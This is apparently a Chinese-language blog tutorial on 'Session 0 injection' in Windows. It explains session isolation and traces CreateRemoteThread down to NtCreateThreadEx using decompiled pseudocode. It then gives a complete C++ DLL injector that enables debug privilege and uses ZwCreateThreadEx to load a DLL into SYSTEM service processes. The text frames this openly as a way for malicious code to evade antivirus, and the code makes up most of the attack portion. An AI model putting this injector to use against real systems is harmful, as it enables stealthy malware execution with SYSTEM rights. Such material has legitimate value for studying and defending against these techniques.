Session0注入
什么是Session?
Windows将应用程序根据Windows账户分为了多个Session,比如:Administor打开的进程可能属于Session1,而另一个账户Civilian打开的进程就属于Session2。
系统中还存在一种特殊的Session,那就是Windows服务进程,它属于Session0。在在Windows Vista及以后的操作系统中,服务进程无法再与用户进程有交互式操作,也就是Windows服务里无法打开带有UI界面的程序。因此就存在了Session隔离问题。
为什么要注入Session0?
在 Session 0 中运行的大多数进程是以 SYSTEM 权限运行的,而普通用户级别的权限(即使是管理员权限)并不能轻易影响或监控 SYSTEM 权限下的进程。
杀软一般不会在系统服务中直接进行杀毒操作,或者对 SYSTEM 权限进程进行强制结束,因为这样做有可能导致系统不稳定或崩溃。因此,如果恶意代码能够成功注入到 Session 0,它可以依托 SYSTEM 权限来规避杀软的检测和干预。
如何注入Session 0的系统进程?
利用ZwCreateThreadEx
注入
ZwCreateThreadEx
函数可以跨会话创建线程,是因为它直接调用了 Windows 内核中的低级系统服务,绕过了一些常规 API 的用户模式限制。
ZwCreateThreadEx
属于 Windows Native API,是直接调用 Windows 内核提供的API
跨会话的线程创建通常涉及到 Windows 的会话隔离机制。每个会话都有独立的桌面和内存空间,并且默认情况下,不同会话之间无法相互访问。但 内核模式代码 和 内核模式调用 是例外的,它们在内核层面上拥有全局的权限,可以访问任何进程、会话的内存和执行上下文。
分析CreateRemoteThread
kernel32.dll
现在主要是一个兼容性外壳,它提供的许多 API 的实现已经迁移到了 kernelbase.dll
。
这是CreateRemoteThread的实现
跟进CreateRemoteThreadEx发现NtCreateThreadEx
发现来自ntdll,然后去ntdll看一下
发现NtCreateThreadEx长这样,syscall进内核
分析CreateRemoteThread
结果发现也是调用CreateRemoteThreadEx,但是也只是第一个参数变成了-1(其实也就是GetCurrentProcess的返回值)
其他是不变的,也就是调用了同样的内核函数NtCreateThread
冷静分析一波
以下是CreateRemoteThread
函数的调用流程图
- 应用程序调用
CreateRemoteThread
,这是一个由 kernel32.dll
提供的 Win32 API,用于在另一个进程的地址空间中创建新线程。
CreateRemoteThread
内部调用 CreateRemoteThreadEx
,这是一个由 KernelBase.dll
提供的更底层的 API,提供了更多的选项,比如可以指定安全描述符,可以控制新线程是否立即开始运行等
CreateRemoteThreadEx
内部调用 NtCreateThreadEx
,这是由 ntdll.dll
提供的 Native API,也是用户空间可以直接调用的最底层的 API。
NtCreateThreadEx
函数设置好系统调用的参数后,执行 syscall
指令,切换到内核模式。
- 在内核模式下,根据
syscall
提供的系统调用编号,在 SSDT 表中查找对应的内核函数。
- 执行 SSDT 表中找到的函数,完成线程的创建。
众所周知,零环和三环是分开的,在x64 微软更是让三环和零环的关系撇得尽量远,那零环咋分得清哪个是Session0,哪个是Session1嘞?恍然大悟,那必然是看传进去的参数啊
分析NtCreateThreadEx
有大佬分析了NtCreateThreadEx这个API,直接拿来用了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103
| __int64 __fastcall NtCreateThreadEx(PHANDLE a_hThread, ACCESS_MASK a_DesiredAccess, LPVOID a_pObjectAttributes, HANDLE a_hProcess, LPVOID a_lpStartAddress, LPVOID a_lpParameter, DWORD a_dwCreateSuspended, __int64 a_StackZeroBits, __int64 a_SizeOfStackCommit, __int64 a_SizeOfStackReserve, __int64 a_AttributeList) { __int64 v_PreviousMode; __int64 NtRet; __int64 v_XStateCompactionMask; unsigned int v_ContextFlags; unsigned __int64 v17; void* v18; __int64 v19; unsigned int NtRet2; __int64 v_hThread; unsigned int v_Context; int v_DesiredAccess; PVOID Object; __int64 v_pContextEx; LPVOID v_lpParameter; LPVOID v_pObjectAttributes; char v28[80]; __int64 v_pCreateProcessContext[66]; char v30; int v31; __int16 v32; char v33; __int64 v34; __int64 v35; __int64 v36; v_pObjectAttributes = a_pObjectAttributes; v_DesiredAccess = a_DesiredAccess; v_lpParameter = a_lpParameter; memset(v28, 0, 0x48ui64); Object = 0i64; v31 = 0; v32 = 0; v33 = 0; v_pContextEx = 0i64; v_Context = 0; if ((a_dwCreateSuspended & 0xFFFFFF80) != 0) return 0xC00000F5i64; if (KeGetCurrentThread()->PreviousMode) { v_hThread = (__int64)a_hThread; if ((unsigned __int64)a_hThread >= 0x7FFFFFFF0000i64) v_hThread = 0x7FFFFFFF0000i64; *(_QWORD*)v_hThread = *(_QWORD*)v_hThread; } v30 = 0; v35 = a_SizeOfStackCommit; v36 = a_SizeOfStackReserve; v34 = a_StackZeroBits; memset(v_pCreateProcessContext, 0, 0x208ui64); if (!a_AttributeList || (LOBYTE(v_PreviousMode) = KeGetCurrentThread()->PreviousMode, NtRet = PspBuildCreateProcessContext( a_AttributeList, v_PreviousMode, 1i64, v_pCreateProcessContext), (int)NtRet >= 0)) { NtRet = ObpReferenceObjectByHandleWithTag((ULONG_PTR)a_hProcess,1917023056u, (__int64)&Object, 0i64, 0i64); if ((int)NtRet >= 0) { v_XStateCompactionMask = (*((_DWORD*)Object + 0x275) & 0x4000) != 0 ?0x800 : 0; v_ContextFlags = (*((_DWORD*)Object + 0x275) & 0x4000) != 0 ? 0x10004B :0x10000B; ObfDereferenceObjectWithTag(Object, 1917023056u); RtlGetExtendedContextLength2(v_ContextFlags, &v_Context, (unsigned int)v_XStateCompactionMask); v17 = v_Context + 15i64; if (v17 <= v_Context) v17 = 0xFFFFFFFFFFFFFF0i64; v18 = alloca(v17 & 0xFFFFFFFFFFFFFFF0ui64); memset(&v_Context, 0, v_Context); RtlInitializeExtendedContext2(&v_Context, v_ContextFlags, &v_pContextEx,v_XStateCompactionMask); PspCreateUserContext( (unsigned int)&v_Context, 1, PspUserThreadStart, (_DWORD)a_lpStartAddress, (__int64)v_lpParameter); NtRet2 = PspCreateThread( a_hThread, v_DesiredAccess, (__int64)v_pObjectAttributes, (ULONG_PTR)a_hProcess, 0i64, (__int64)v_pCreateProcessContext, v_pCreateProcessContext[2], (__int64)&v_Context, (__int64)v28, a_dwCreateSuspended, (__int64)a_lpStartAddress, v19, (__int64)&v30); PspDeleteCreateProcessContext((__int64)v_pCreateProcessContext); CreateProcessContext结构体 NtRet = NtRet2; } } return NtRet; }
|
NtCreateThreadEx 函数可以突破SESSION 0 隔离,将DLL注入到SESSION 0 隔离的系统服务进程中,
CreateRemoteThread 注入系统进程会失败的原因是因为调用 NtCreateThreadEx 创建远程线程时,第
七个参数 CreateThreadFlags 为1
使用 CreateRemoteThread 注入失败DLL失败的关键在第七个参数 CreateThreadFlags , 他会导致线
程创建完成后一直挂起无法恢复进程运行,导致注入失败
做一个Session0注入器
代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125
|
#include <Windows.h> #include <iostream> #include <tchar.h>
BOOL EnableDebugPrivilege() { HANDLE hToken; BOOL fOk = FALSE; if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) { TOKEN_PRIVILEGES tp; tp.PrivilegeCount = 1; LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid); tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL); fOk = (GetLastError() == ERROR_SUCCESS); CloseHandle(hToken); } return fOk; } BOOL ZwCreateThreadExInject(DWORD PID, const char* pszDllFileName) { EnableDebugPrivilege(); HANDLE hRemoteThread; DWORD dwStatus = 0; HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID); if (hProcess == NULL) { printf("OpenProcess error : %d\n", GetLastError()); return -1; } SIZE_T dwSize = lstrlen(pszDllFileName) + 1; LPVOID pDllAddr = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE); if (NULL == pDllAddr) { printf("VirtualAllocEx error\n"); return -1; } if (FALSE == WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize, NULL)) { printf("WriteProcessMemory error\n"); return -1; } HMODULE hNtdllDll = LoadLibrary("ntdll.dll"); if (NULL == hNtdllDll) { printf("Load ntdll.dll error\n"); return -1; } FARPROC pFuncProcAddr = GetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryA"); #ifdef _WIN64 typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)( PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, LPVOID ObjectAttributes, HANDLE ProcessHandle, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, ULONG CreateThreadFlags, SIZE_T ZeroBits, SIZE_T StackSize, SIZE_T MaximumStackSize, LPVOID pUnkown); #else typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)( PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, LPVOID ObjectAttributes, HANDLE ProcessHandle, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, BOOL CreateSuspended, DWORD dwStackSize, DWORD dw1, DWORD dw2, LPVOID pUnkown); #endif typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)GetProcAddress(hNtdllDll, "ZwCreateThreadEx"); if (NULL == ZwCreateThreadEx) { printf("GetProcAddress error\n"); return -1; } dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, 0, 0, 0, NULL); if (NULL == ZwCreateThreadEx) { printf("ZwCreateThreadEx error\n"); return -1; } CloseHandle(hProcess); FreeLibrary(hNtdllDll); } int main(int argc, char* argv[]) { if (argc == 3) { BOOL bRet = ZwCreateThreadExInject((DWORD)_tstol(argv[1]), argv[2]); if (-1 == bRet) { printf("Inject dll failed\n"); } else { printf("Inject dll successfully\n"); } } else { printf("\n"); printf("Usage: %s PID <DllPath>\n", argv[0]); printf("Example: %s 520 C:\\test.dll\n", argv[0]); exit(1); } }
|
效果展示: